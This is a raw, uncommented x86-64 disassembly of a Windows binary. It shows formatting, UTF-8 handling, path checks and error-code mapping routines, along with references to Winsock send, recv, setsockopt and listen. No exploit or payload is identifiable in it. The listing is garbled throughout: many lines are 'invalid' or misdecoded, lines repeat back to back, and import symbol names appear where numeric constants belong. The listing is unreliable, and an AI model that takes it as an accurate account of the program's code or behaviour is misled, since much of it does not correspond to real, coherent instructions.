movzx eax, byte [rsp + 0x38]
jne 0x140007a24
jmp 0x140007a64
mov qword [rsp + 0x48], rdi
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x1400237e3]
mov r8d, reloc.WS2_32.dll_send
call qword [rax + 0x18]
mov qword [rsp + 0x38], rsi
and al, 0x38
and al, 0x38
mov byte [rsp + 0x40], al
mov qword [rsp + 0x30], 0
mov byte [rsp + 0x41], 0
lea r8, [0x140007f40]
jmp 0x140007aeb
mov qword [rsp + 0x48], rdi
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x1400237f6]
mov r8d, reloc.WS2_32.dll_send
call qword [rax + 0x18]
mov qword [rsp + 0x38], rsi
and al, 0x38
and al, 0x38
mov byte [rsp + 0x40], al
mov qword [rsp + 0x30], 0
mov byte [rsp + 0x41], 0
lea r8, [0x140007da0]
jmp 0x140007aeb
lea eax, [0x140007b70]
mov qword [rsp + 0x20], rax
lea rdx, [0x14002381c]
lea rsi, [rsp + 0x30]
mov r8d, 8
mov rcx, rsi
mov r9, rdi
call fcn.1400099e0
and al, byte [r8]
add byte [rax - 0x73], cl
add eax, 0xfffffa2a
mov qword [rsp + 0x20], rax
lea rdx, [0x1400237a4]
jmp 0x1400078d6
mov qword [rsp + 0x48], rdi
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x140023824]
mov r8d, setsockopt
call qword [rax + 0x18]
mov qword [rsp + 0x38], rsi
and al, 0x38
and al, 0x38
mov byte [rsp + 0x40], al
mov qword [rsp + 0x30], 0
mov byte [rsp + 0x41], 0
lea r8, [0x1400071d0]
jmp 0x140007aeb
and al, 0x39
add byte [rax - 0x73], cl
add eax, 0xfffffbef
mov qword [rsp + 0x20], rax
lea rdx, [0x140023724]
lea rcx, [rsp + 0x30]
lea r9, [rsp + 0x48]
mov r8d, 9
call fcn.1400099e0
cmp byte [rsp + 0x39], 0
movzx eax, byte [rsp + 0x38]
jne 0x140007a24
jmp 0x140007a64
lea rdx, [0x14002384d]
lea rsi, [rsp + 0x30]
mov r8d, 4
mov rcx, rsi
mov r9, rdi
call fcn.1400099e0
lea rax, [0x140008200]
or dword ss:[rax], eax
add byte [rax - 0x77], cl
mov qword [rsp + 0x20], rax
or dword ss:[rax], eax
add byte [rax - 0x77], cl
mov qword [rsp + 0x20], rax
lea rdx, [0x140023851]
lea r9, [rsp + 0x48]
mov r8d, 5
jmp 0x140007a10
mov qword [rsp + 0x48], rdi
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x14002375e]
mov r8d, setsockopt
call qword [rax + 0x18]
mov qword [rsp + 0x30], rsi
and al, 0x30
and al, 0x30
mov byte [rsp + 0x38], al
mov byte [rsp + 0x39], 0
lea rax, [0x140007080]
mov qword [rsp + 0x20], rax
lea rdx, [0x140023856]
jmp 0x14000796c
and al, 0x39
add byte [rax - 0x73], cl
add eax, 0xfffff870
mov qword [rsp + 0x20], rax
lea rdx, [0x14002386d]
lea rcx, [rsp + 0x30]
lea r9, [rsp + 0x48]
mov r8d, 8
call fcn.1400099e0
cmp byte [rsp + 0x39], 0
movzx eax, byte [rsp + 0x38]
jne 0x140007a24
jmp 0x140007a64
mov rcx, rsi
call fcn.1400099e0
cmp byte [rsp + 0x39], 0
movzx eax, byte [rsp + 0x38]
je 0x140007a64
test al, al
mov al, 1
jne 0x140007a64
mov rax, qword [rsp + 0x30]
mov eax, dword [rsp + 0x30]
test byte [rax + 0x34], 4
jne case.0x14000fb2f.40
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x140023931]
mov r8d, 2
jmp 0x140007a61
invalid
adc eax, 0x20488b48
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x140023930]
mov r8d, 1
call qword [rax + 0x18]
test al, al
jmp 0x140007b63
add edi, 8
mov qword [rsp + 0x48], rdi
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x140024874]
mov r8d, 5
call qword [rax + 0x18]
mov qword [rsp + 0x38], rsi
mov byte [rsp + 0x40], al
mov qword [rsp + 0x30], 0
mov byte [rsp + 0x41], 0
lea r8, case.0x1400062be.16
jmp 0x140007aeb
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0x48]
call fcn.14000aa30
mov rax, qword [rsp + 0x30]
movzx ecx, byte [rsp + 0x40]
test rax, rax
je 0x140007b5f
mov bl, 1
test cl, cl
jne 0x140007b61
mov ebx, ecx
test bl, bl
setne al
add rsp, 0x50
pop rbx
pop rdi
pop rsi
ret
movzx r11d, word [rdi + r8]
movd xmm4, r11d
movzx r11d, word [rdi + r8 + 2]
movd xmm5, r11d
pcmpgtb xmm4, xmm2
loop 0x140008c80
punpcklbw mm4, mm4
loop 0x140008c80
punpcklbw mm4, mm4
pshuflw xmm4, xmm4, 0xd4
pshufd xmm4, xmm4, 0xd4
in al, 0xd4
in al, 0xd4
pand xmm4, xmm3
paddq xmm0, xmm4
pcmpgtb xmm5, xmm2
punpcklbw xmm5, xmm5
pshuflw xmm4, xmm5, 0xd4
pshufw mm4, mm5, 0xd4
pshufw mm4, mm5, 0xd4
pshufd xmm4, xmm4, 0xd4
pshufw mm4, mm4, 0xd4
pand xmm4, xmm3
paddq xmm1, xmm4
add r8, 4
cmp r10, r8
jne 0x140008c00
paddq xmm1, xmm0
pshufd xmm0, xmm1, 0xee
jo 0x140008c1b
out dx, al
paddq xmm0, xmm1
invalid
shl dword [rsi + 0x49], 0xf
jle 0x140008c24
jmp 0x140008d8c
and eax, dword [rcx]
add byte [rax], al
sub ebp, edx
jbe 0x1400091d2
movzx eax, byte [rcx + 0x38]
lea rdx, [0x1400253a4]
movsxd rax, dword [rdx + rax*4]
add rax, rdx
jmp rax
xor r15d, r15d
jmp 0x140008cb5
mov r15, r13
xor r13d, r13d
jmp 0x140008cb5
mov r15, r13
shr r15, 1
inc r13
shr r13, 1
mov rbx, qword [rcx + 0x20]
mov r14, qword [rcx + 0x28]
mov ebp, dword [rcx + 0x30]
inc r15
nop word cs:[rax + rax]
mov rcx, rbx
dec r15
je 0x140008ce6
mov rax, qword [rcx + 0x20]
mov rcx, qword [rcx + 0x28]
mov r9, qword [rcx + 0x18]
mov rcx, rax
mov rdx, rdi
mov r8, rsi
movaps xmm6, xmmword [rsp + 0x40]
movaps xmm7, xmmword [rsp + 0x50]
movaps xmm8, xmmword [rsp + 0x60]
movaps xmm9, xmmword [rsp + 0x70]
movaps xmm10, xmmword [rsp + 0x80]
movaps xmm11, xmmword [rsp + 0x90]
movaps xmm12, xmmword [rsp + 0xa0]
add rsp, 0xb8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp r9
movzx r9d, word [rbx + r8]
movd xmm4, r9d
movzx r9d, word [rbx + r8 + 2]
add eax, dword [rdx]
movd xmm5, r9d
pcmpgtb xmm4, xmm2
punpcklbw xmm4, xmm4
pshuflw xmm4, xmm4, 0xd4
pshufd xmm4, xmm4, 0xd4
pand xmm4, xmm3
paddq xmm0, xmm4
invalid
pcmpgtb xmm5, xmm2
punpcklbw xmm5, xmm5
pshuflw xmm4, xmm5, 0xd4
pshufd xmm4, xmm4, 0xd4
pand xmm4, xmm3
paddq xmm1, xmm4
add r8, 4
cmp rdx, r8
cmp edx, eax
invalid
cmp edx, eax
jne 0x1400094f0
paddq xmm1, xmm0
pshufd xmm0, xmm1, 0xee
paddq xmm0, xmm1
movq r8, xmm0
cmp rdx, r14
je 0x140009576
lea rax, [0x1400253b4]
movsxd rcx, dword [rax + rsi*4]
add rcx, rax
jmp rcx
mov eax, ebx
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
sbb byte [rcx + rcx*4 - 0x1f], cl
mov rdx, r13
mov r8, rsi
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp rax
mov dword [rsp + 0x38], eax
mov dword [rdi + 0x30], 0x30
movzx eax, byte [rdi + 0x38]
mov byte [rsp + 0x37], al
mov byte [rdi + 0x38], 1
cmp byte [r9], r8b
mov r13, qword [rdi + 0x20]
mov r12, qword [rdi + 0x28]
mov qword [rsp + 0x20], r14
mov dword [rsp + 0x20], esi
mov rcx, r13
mov rdx, r12
mov r8d, ebp
mov r9, rbx
call fcn.140009760
mov bl, 1
test al, al
jne 0x1400095e1
inc r15
nop word cs:[rax + rax]
dec r15
je 0x14000971c
mov rcx, r13
mov edx, 0x30
add byte [rax], al
add byte [rax], al
call qword [r12 + 0x20]
test al, al
je 0x140009660
invalid
mov rcx, r13
mov rdx, qword [rsp + 0x40]
mov r8, rsi
call qword [r12 + 0x18]
test al, al
jne 0x1400095e1
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xb8
movdqa xmmword [rsp + 0xa0], xmm8
movdqa xmmword [rsp + 0x90], xmm7
movdqa xmmword [rsp + 0x80], xmm6
mov qword [rsp + 0x38], rdx
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x50], r9
and al, 0x50
mov rax, qword [r9 + 0x20]
mov qword [rsp + 0x40], r8
mov rcx, r8
mov edx, 0x22
mov qword [rsp + 0x58], rax
call rax
test al, al
je 0x14000ad29
mov al, 1
movaps xmm6, xmmword [rsp + 0x80]
movaps xmm7, xmmword [rsp + 0x90]
movaps xmm8, xmmword [rsp + 0xa0]
add rsp, 0xb8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov r9, qword [rsp + 0x38]
test r9, r9
je 0x14000b44c
mov rsi, qword [rsp + 0x48]
lea rcx, [rsi + r9]
mov qword [rsp + 0x70], rcx
xor edx, edx
movdqa xmm6, xmmword [0x1400234e0]
movdqa xmm7, xmmword [0x1400234f0]
movdqa xmm8, xmmword [0x140023500]
xor r13d, r13d
mov rbp, qword [rsp + 0x40]
mov r10, rsi
movzx r15d, byte [rsi]
test r15b, r15b
js 0x14000adc0
lea rsi, [r10 + 1]
mov r14b, 2
cmp r15d, 0x22
mov qword [rsp + 0x78], r15
mov dword [rsp + 0x78], edi
mov dword [rsp + 0x78], edi
ja 0x14000ae50
mov dil, 0x5c
mov eax, r15d
lea rcx, [0x1400253c4]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
nop dword [rax + rax]
mov eax, r15d
and eax, 0x1f
movzx r8d, byte [r10 + 1]
and r8d, 0x3f
cmp r15b, 0xdf
jbe 0x14000ae2e
lea rsi, [r10 + 3]
movzx ecx, byte [r10 + 2]
mov dh, 0x4a
add al, byte [rcx - 0x3f]
loopne 0x14000ade8
mov dh, 0x4a
add al, byte [rcx - 0x3f]
loopne 0x14000ade8
and ecx, 0x3f
or ecx, r8d
cmp r15b, 0xf0
jb 0x14000b033
add al, byte [rax]
invalid
movzx r15d, byte [rsi]
and eax, 7
shl eax, 0x12
adc al, cl
loope 0x14000ae05
and r15d, 0x3f
out 0x3f, eax
or r15d, ecx
or r15d, eax
cmp r15d, 0x110000
add byte [rdi], cl
invalid
pushfq
invalid
add byte [rax], al
invalid
add byte [rdi], cl
test byte [rsi + rax - 0x72b70000], bl
add byte [rcx - 0x73], cl
add byte [rcx - 0x73], cl
jb 0x14000ae1e
mov r14b, 2
mov dh, 2
cmp r15d, 0x22
cmp edi, 0x22
mov qword [rsp + 0x78], r15
jbe 0x14000ad8a
jmp 0x14000ae50
lea rsi, [r10 + 2]
lea esi, [rdx + 2]
shl eax, 6
or eax, r8d
mov r15d, eax
mov r14b, 2
cmp r15d, 0x22
cmp edi, 0x22
cmp edi, 0x22
and cl, byte [rcx + rcx*4 + 0x7c]
and al, 0x78
mov qword [rsp + 0x78], r15
jbe 0x14000ad8a
nop dword [rax]
cmp r15d, 0x5c
jne case.0x14000ad9e.1
invalid
xor ebp, ebp
mov cl, 0x5c
mov dil, 0x5c
mov bh, 0x5c
jmp 0x14000aec9
mov qword [rsp + 0x30], r10
mov ecx, r15d
shl ecx, 0xb
mov r8d, 0x21
xor eax, eax
mov r9d, 0x21
lea rdi, [0x140023ff4]
nop
shr r8, 1
add r8, rax
mov r10d, dword [rdi + r8*4]
shl r10d, 0xb
cmp r10d, ecx
je 0x14000b052
invalid
add dword [rax], eax
invalid
mov ebx, 0x4d000001
lea ebx, [rax + 1]
pop rax
add dword [rcx + 0x39], eax
retf 0xf4d
cmova ecx, eax
pop rax
add dword [rcx + 0x39], eax
retf 0xf4d
invalid
cmova ecx, eax
cmovb rax, r11
mov r8, r9
sub r8, rax
ja 0x14000ae80
shl eax, 0xc
or ecx, eax
mov r15d, ecx
mov r14b, 2
cmp r15d, 0x22
mov qword [rsp + 0x78], r15
jbe 0x14000ad8a
xor edx, edx
xor r8d, r8d
mov rbp, qword [rsp + 0x40]
mov rax, qword [rsp + 0x48]
add rax, rdx
mov rcx, rbp
mov rdx, rax
mov rax, qword [rsp + 0x50]
call qword [rax + 0x18]
test al, al
jne 0x14000acfa
mov rcx, qword [rsp + 0x40]
mov edx, 0x22
mov rax, qword [rsp + 0x58]
movaps xmm6, xmmword [rsp + 0x80]
movaps xmm7, xmmword [rsp + 0x90]
movaps xmm8, xmmword [rsp + 0xa0]
add rsp, 0xb8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp rax
movzx ebp, word [r14 + r15]
movd xmm4, ebp
movzx ebp, word [r14 + r15 + 2]
movd xmm5, ebp
pcmpgtb xmm4, xmm2
punpcklbw xmm4, xmm4
pshuflw xmm4, xmm4, 0xd4
pshufd xmm4, xmm4, 0xd4
in al, 0xd4
invalid
pand xmm4, xmm3
paddq xmm0, xmm4
pcmpgtb xmm5, xmm2
punpcklbw xmm5, xmm5
pshuflw xmm4, xmm5, 0xd4
pshufd xmm4, xmm4, 0xd4
pshufw mm4, mm4, 0xd4
invalid
pshufw mm4, mm4, 0xd4
pand xmm4, xmm3
paddq xmm1, xmm4
paddq mm1, mm4
add r15, 4
cmp rdx, r15
jne 0x14000b8d0
paddq xmm1, xmm0
pshufd xmm0, xmm1, 0xee
paddq xmm0, xmm1
invalid
shl dword [rsi + 0x49], 0xf
jle 0x14000b8f9
cmp rdx, rbx
cmp edx, ebx
invalid
cmp edx, ebx
je 0x14000b957
nop word [rax + rax]
xor r12d, r12d
cmp byte [r14 + rdx], 0xc0
setge r12b
invalid
add r15, r12
inc rdx
cmp rbx, rdx
cmp ebx, edx
jne 0x14000b940
mov r14, qword [rsi + 8]
add r15, rdi
mov edx, setsockopt
test al, al
jne 0x14000b9f4
test r8, r8
je 0x14000b9ef
test r10, r10
cmove rcx, r11
inc rcx
test r9, r9
cmove rcx, r9
add rcx, rdx
add r15, rcx
sub r14, r15
jbe 0x14000ba29
jmp 0x14000e207
and dl, 0x3f
or dl, 0x80
mov byte [rsp + 0x2e], dl
mov r8d, 3
jmp 0x14000e207
sub eax, 0xe8c1d089
invalid
mov rcx, qword [rsi]
lea rdx, [rsp + 0x2c]
call case.0x14000745e.67
mov rdi, rax
test rax, rax
je case.0x1400062be.82
invalid
mov rax, qword [rsi + 8]
test rax, rax
je 0x14000e281
mov ecx, dword [0x140030ac8]
xor edx, edx
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmpsd dword [rsi], dword [rdi]
add qword [r8], r8
mov qword [rsi + 8], rdi
test rdi, rdi
setne al
add rsp, 0x30
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
adc eax, 0x161fe
jmp fcn.140009230
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
ret
movzx r10d, byte [rdx + 6]
cmp r10d, 0x2f
je 0x14000ee1e
cmp r10d, 0x5c
jne 0x14000ee4e
cmp byte [rdx + 5], 0x3a
jne 0x14000ee4e
movzx edx, byte [rax]
mov r10d, edx
and r10b, 0xdf
fild word [rcx - 0x80]
invalid
invalid
fild word [rcx - 0x80]
ret 0x41bf
invalid
cmp r10b, 0x19
ja 0x14000ee4e
cmp dl, 0x61
setae al
shl al, 5
xor al, dl
mov byte [rcx], 2
mov byte [rcx + 1], al
jmp 0x14000ed0f
invalid
add r8, 0xfffffffffffffffc
xor edx, edx
cmp byte [rax + rdx], 0x5c
je 0x14000ee69
inc rdx
cmp r8, rdx
jne 0x14000ee54
mov r9, rdx
mov byte [rcx], 0
mov qword [rcx + 8], rax
mov qword [rcx + 0x10], r9
jmp 0x14000ed0f
ud2
cmp r13b, 3
je 0x14000f153
movzx ebx, byte [rdx + 0x39]
cmp bl, 3
je 0x14000f153
cmp r13b, bl
ja 0x14000f153
test r8, r8
jne 0x14000f167
mov byte [rdx + 0x38], 1
mov r13b, 1
mov r8, rbp
mov rbp, r8
cmp r13b, bl
ja 0x14000f153
test r13b, r13b
je 0x14000f000
movzx r8d, r13b
cmp r8d, 1
jne case.0x14000fb2f.103
mov byte [rdx + 0x38], 2
test dil, dil
jne 0x14000f134
cmp al, 6
je 0x14000ef6b
movsxd r11, dword [r14 + rax*4]
add r11, r14
mov r8, r9
enter 0xffffffffffffff41, 0xffffffffffffffe3
invalid
jrcxz 0x14000f062
mov eax, dword [rsp]
add al, 0x24
jmp 0x14000ef62
test r12, r12
je 0x14000f14f
invalid
cmp byte [rbp + r15], 0x5c
cmp byte [rbp + rdi], 0x5c
je 0x14000f093
pop rbx
inc r15
inc edi
cmp r12, r15
jne 0x14000f030
jmp 0x14000f06a
nop word cs:[rax + rax]
invalid
movzx r8d, byte [rbp + r15]
movzx eax, byte [rbp + rdi]
cmp r8d, 0x2f
je 0x14000f093
clc
invalid
cmp r8d, 0x5c
clc
pop rsp
je 0x14000f093
inc r15
cmp r12, r15
jne 0x14000f050
xor r8d, r8d
mov r15, r12
test r15, r15
test edi, edi
jne case.0x14000745e.80
mov r8d, 1
test r15, r15
je 0x14000f075
mov byte [rcx], 0xa
add rsp, 0x10
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov byte [rdx + 0x38], 1
lea r8, [0x140025488]
movsxd r11, dword [r8 + rax*4]
add r11, r8
jmp r11
mov r8, r9
jmp 0x14000f1ae
mov r8, qword [rsp]
jmp 0x14000f1ae
mov r8d, 6
jmp 0x14000f1ae
mov r8, qword [rsp + 8]
jmp 0x14000f1ae
mov r8d, 2
cmp r8, r10
add byte [rax], al
add byte [rbp + 0x39], cl
sal byte [rdi + 0x61], 1
ja 0x14000f214
lea r11, [0x1400254a0]
add byte [rcx + 0x63], cl
xor al, 0x83
ja 0x14000f214
add byte [rcx + 0x63], cl
xor al, 0x83
add rsi, r11
jmp rsi
fdivp st(7)
out 0x4c, al
mov r9, qword [rsp]
and al, 0xeb
invalid
and al, 0xeb
adc eax, 0x6b941
mov r9d, 6
jmp case.0x14000f1c1.0
add rdi, 0xfffffffffffffffd
add ebp, 0xfc00
and ebp, 0xffc0
or ebp, r15d
or r12d, ebp
lea r15d, [r12 + 0x10000]
mov r13d, r15d
shr r13d, 0x12
and r13d, 7
cmp rcx, 3
jbe 0x14000f675
add rbx, 3
mov rcx, qword [rsi]
and r12d, 0x3f
shl r12d, 0x18
shl ebp, 0xa
and ebp, 0x3f0000
add byte [rdi], bh
add byte [rcx + rcx - 0x1b], al
shr r15d, 4
and r15d, 0x3f00
or r15d, ebp
lea edx, [r15 + r13]
add edx, 0x808080f0
mov dword [rcx + r14], edx
adc al, 0x31
adc al, 0x31
add r14, 4
mov qword [rsi + 0x10], r14
jmp 0x14000f612
sub rax, r14
cmp rax, rdi
jb 0x14000f640
add rcx, r14
mov rdx, rbx
mov r8, rdi
call fcn.140013b60
add r14, rdi
mov qword [rsi + 0x10], r14
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop rsp
pop r13
pop r14
pop r15
ret
mov rcx, rsi
mov rdx, r14
mov r8, rdi
call fcn.140021f70
mov rcx, qword [rsi]
mov r14, qword [rsi + 0x10]
jmp 0x14000f61a
mov ecx, esi
mov rdx, r14
call fcn.140021f70
mov rax, qword [rsi + 8]
mov r14, qword [rsi + 0x10]
mov rcx, rax
sub rcx, r14
jmp 0x14000f509
xchg esp, eax
invalid
invalid
invalid
mov r8d, 4
mov rcx, rsi
mov rdx, r14
call fcn.140021f70
add dword [rax], eax
mov rax, qword [rsi + 8]
mov r14, qword [rsi + 0x10]
jmp 0x14000f53c
invalid
invalid
invalid
invalid
push rsi
push rdi
push rbx
sub rsp, 0x80
sub esp, 0x80
add byte [rax], al
add byte [rcx + rcx*4 - 0x39], cl
mov rdi, r8
invalid
mov r8, rdx
mov rdx, rcx
retf 0x8d48
and al, 0x38
invalid
retf 0x8d48
and al, 0x38
call fcn.14000e3f0
mov rax, qword [rsp + 0x38]
mov eax, dword [rsp + 0x38]
invalid
mov eax, dword [rsp + 0x38]
cmp byte [rbx + rcx*4 + 0x74], cl
and al, 0x40
mov r14, qword [rsp + 0x40]
je 0x14000f6ee
test rax, rax
test rax, rax
je 0x14000f730
mov rcx, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], r14
mov qword [rsp + 0x60], rcx
lea rcx, [rsp + 0x68]
lea rdx, [rsp + 0x50]
call fcn.14000fcc0
mov rsi, qword [rsp + 0x68]
mov r15, qword [rsp + 0x70]
mov ebx, 1
test rsi, rsi
je 0x14000f73a
movzx ecx, byte [rdi + 0x21]
movzx eax, byte [rdi + 0x22]
cmp dword [rdi], 0
je 0x14000f742
mov edx, dword [rdi + 4]
mov r8d, dword [rdi + 0x18]
mov r9, qword [rdi + 8]
test cl, cl
je 0x14000f75f
test al, al
jne 0x14000f7d0
jmp 0x14000f7b5
mov ebx, 1
jmp 0x14000f885
mov r14, r15
jmp 0x14000f885
cmp byte [rdi + 0x20], 0
je 0x14000f76b
test cl, cl
je 0x14000f77a
test al, al
je 0x14000f7a8
test al, al
jne 0x14000f7d0
cmp byte [rdi + 0x23], 0
je 0x14000f796
test cl, cl
je 0x14000f7bf
test al, al
jne 0x14000f7c3
mov r8d, dword [rdi + 0x18]
mov r9, qword [rdi + 8]
mov edx, 0x80120114
test al, al
jne 0x14000f7d0
test al, al
je 0x14000f7e0
movzx ecx, byte [rdi + 0x23]
movzx eax, byte [rdi + 0x25]
test cl, cl
je 0x14000f7f8
mov rax, rbx
mov rdx, r14
add rsp, 0x80
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
adc eax, 0x13660
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov qword [rsi], 2
add rsp, 0x68
pop rdi
pop rsi
ret
add dword [rax], eax
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov qword [rsi], 1
add rsp, 0xa8
pop rdi
pop rsi
ret
add byte [rax], al
add byte [rdi], cl
xorps xmm0, xmm0
invalid
invalid
test byte [rax + rdx*4], ah
and al, 0x90
xorps xmm0, xmm0
movups xmmword [rsp + 0x90], xmm0
and al, 0x90
add byte [rax], al
add byte [rax - 0x73], cl
lea ecx, [rsp + 0x58]
add byte [rax], al
lea rcx, [rsp + 0x58]
lea ecx, [rsp + 0x58]
lea rdx, [rsp + 0x78]
push rsp
and al, 0x78
call fcn.14000d510
mov rcx, rax
shr eax, 0xdf
invalid
invalid
invalid
mov ecx, 7
int 0x29
ud2
invalid
or ecx, esp
int3
int3
int3
cmp ecx, 0x3e2
add eax, dword [rax]
add byte [rsi + 0x2a], bh
jle 0x14000fb34
jle 0x14000fb34
cmp ecx, 0x271c
stc
sbb al, 0x27
add byte [rax], al
jle 0x14000fb56
lea edx, [rcx - 0x271d]
cmp edx, 0x34
ja case.default.0x14000fb2f
lea rcx, [0x1400258e0]
or eax, 0x15db8
movsxd rdx, dword [rcx + rdx*4]
add rdx, rcx
jmp rdx
lea edx, [rcx - 2]
cmp edx, 0x109
add byte [rax], al
ja case.default.0x14000fb51
lea rcx, [0x1400254b8]
movsxd rdx, dword [rcx + rdx*4]
add rdx, rcx
jmp rdx
xor eax, eax
ret
cmp ecx, 0x50e
jle 0x14000fb8f
cmp ecx, 0x1b7f
jg 0x14000fbbe
cmp ecx, 0x1715
jg 0x14000fc2f
cmp ecx, 0x50f
je 0x14000fca9
cmp ecx, 0x46a
jle case.0x1400062be.421
cmp ecx, 0x4ce
jg 0x14000fc41
cmp ecx, 0x46b
je 0x14000fcac
cmp ecx, 0x2021
jg 0x14000fc54
cmp ecx, 0x1b80
je case.0x14000f179.29
lea eax, [rcx - 0x3c2a]
cmp eax, 2
jb case.0x14000f179.29
adc esi, 0x83ffffc3
clc
add dh, byte [rdx + 0x72]
cmp ecx, 0x35ed
je case.0x14000f179.29
cmp ecx, 0x3e3
je case.0x14000f179.29
cmp ecx, 0x41d
je case.0x14000f179.29
mov al, 0x21
ret
cmp ecx, 0x150
je 0x14000fcaf
cmp ecx, 0x252
je case.0x14000f179.29
jmp case.0x14000f1c1.21
cmp ecx, 0x1716
je case.0x14000f179.29
cmp ecx, 0x1b64
sbb eax, dword [rax]
add byte [rbp + riz - 0x15], dh
je case.0x14000f179.29
jmp case.0x14000f1c1.21
cmp ecx, 0x4cf
je case.0x14000fb2f.10051
cmp ecx, 0x4d0
jne case.0x14000f1c1.21
mov al, 4
add al, 0xc3
je case.0x14000f179.29
and eax, 0xf98138eb
iretd
cmp ecx, 0x4cf
je case.0x14000fb2f.10051
cmp ecx, 0x4d0
jne case.0x14000f1c1.21
cmp ecx, 0x2022
je case.0x14000f179.29
invalid
add byte [rbp + 0x15], dh
mov al, 0x16
ret
mov al, 0x26
ret
mov al, 0x18
ret
mov al, listen
ret
mov al, setsockopt
ret
mov al, 0xb
ret
mov al, 0x28
ret
mov al, 0x1f
ret
mov al, 0x11
ret
mov al, 0x24
ret
mov al, 0x19
ret
mov al, reloc.WS2_32.dll_recv
ret
mov al, 0x1c
ret
mov al, 0x1b
ret
mov al, 0xe
ret
mov al, recv
ret
int3
mov rax, qword [rdx + 0x10]
cmp rax, 4
jb 0x14000fd1e
movabs r9, 0x5c003f003f005c
lea r8, [r9 + 0x1d0000]
cmp r8, qword [r14]
je 0x14000fd8a
cmp r9, qword [r14]
je 0x14000fd8a
cmp rax, 0xf8
jae 0x14000fd9d
cmp word [r14 + 2], 0x3a
jne 0x14000fd69
movzx eax, word [r14 + 4]
jmp 0x14000fd49
cmp rax, 3
je 0x14000fd33
cmp rax, 1
jne 0x14000fd67
cmp word [r14], 0
jne 0x14000fd9d
jmp 0x14000fd8a
cmp word [r14 + 2], 0x3a
jne 0x14000fd69
movzx eax, word [r14 + 4]
test ax, ax
je 0x140010191
cmp ax, 0x2f
je 0x14000fd57
movzx eax, ax
cmp eax, 0x5c
jne 0x14000fd69
movzx eax, word [r14]
cmp eax, 0x2f
je 0x14000fd6d
jbe 0x14000fd9d
movzx eax, word [r14]
cmp ax, 0x5c
je 0x14000fd7b
movzx eax, ax
cmp eax, 0x2f
jne 0x14000fd9d
movzx eax, word [r14 + 2]
cmp eax, 0x5c
je 0x14000fd8a
cmp eax, 0x2f
jne 0x14000fd9d
mov rax, qword [rdx + 0x10]
mov qword [rcx + 0x10], rax
movups xmm0, xmmword [rdx]
movups xmmword [rcx], xmm0
jmp 0x140010167
mov qword [rsp + 0x48], r14
mov qword [rsp + 0x20], rcx
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x50], 2
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov r15d, 0x200
mov edi, 0x200
mov eax, 2
mov qword [rsp + 0x28], rax
xor eax, eax
mov qword [rsp + 0x30], rax
mov r14d, 0xffffffff
xor esi, esi
xor ebp, ebp
cmp r15, 0x201
jae 0x14000fe20
movzx eax, word [r14]
cmp eax, 0x2f
je 0x14000fd69
cmp eax, 0x5c
je 0x14000fd69
add rax, 0xfffffffffffffffe
mov rdx, rcx
cmp rdx, 0xa
jae 0x1400105cf
add dl, 0x30
mov byte [rsp + rax + 0x2f], dl
dec rax
jmp 0x1400105e3
add byte [rdi + rcx + 0x42], al
fld dword [rbp]
ret
lea rcx, [0x14002393a]
movzx ecx, word [rcx + rdx*2]
mov word [rsp + rax + 0x2e], cx
add rax, 0xfffffffffffffffe
test r8d, r8d
setns dl
lea rcx, [rsp + rax]
add rcx, 0x30
mov r8d, 0x27
sub r8, rax
mov qword [rsp + 0x28], r8
mov qword [rsp + 0x20], rcx
lea r8, [0x1400243a8]
mov rcx, r10
xor r9d, r9d
call fcn.140009440
nop
add rsp, 0xb0
pop rbx
pop rdi
pop rsi
ret
adc byte [rdi], cl
test esp, esp
add byte [rax], al
add byte [rax + 0x23850f20], ch
and eax, dword [rcx]
add byte [rax], al
mov r8, qword [rcx]
mov rcx, r8
neg rcx
cmovs rcx, r8
mov eax, 0x27
cmp rcx, 0x2710
jb 0x1400107fe
mov esi, 0x27
movabs r9, 0x346dc5d63886594b
lea r11, [0x14002393a]
nop word cs:[rax + rax]
mov rax, rcx
mul r9
shr rdx, 0xb
imul eax, edx, 0x2710
mov edi, ecx
sub edi, eax
imul ebx, edi, 0x147b
shr ebx, 0x13
imul eax, ebx, 0x64
sub edi, eax
movzx edi, di
lea rax, [rsi - 4]
movzx ebx, word [r11 + rbx*2]
mov word [rsp + rsi + 0x2c], bx
movzx edi, word [r11 + rdi*2]
mov word [rsp + rsi + 0x2e], di
mov rsi, rax
cmp rcx, 0x5f5e0ff
mov rcx, rdx
ja 0x140010690
cmp rdx, 0x63
jbe 0x140010713
movzx ecx, dx
shr ecx, 2
add ch, byte [rcx - 0x37]
jnp 0x140010700
add byte [rax], al
shr ecx, 0x11
imul r9d, ecx, 0x64
sub edx, r9d
movzx edx, dx
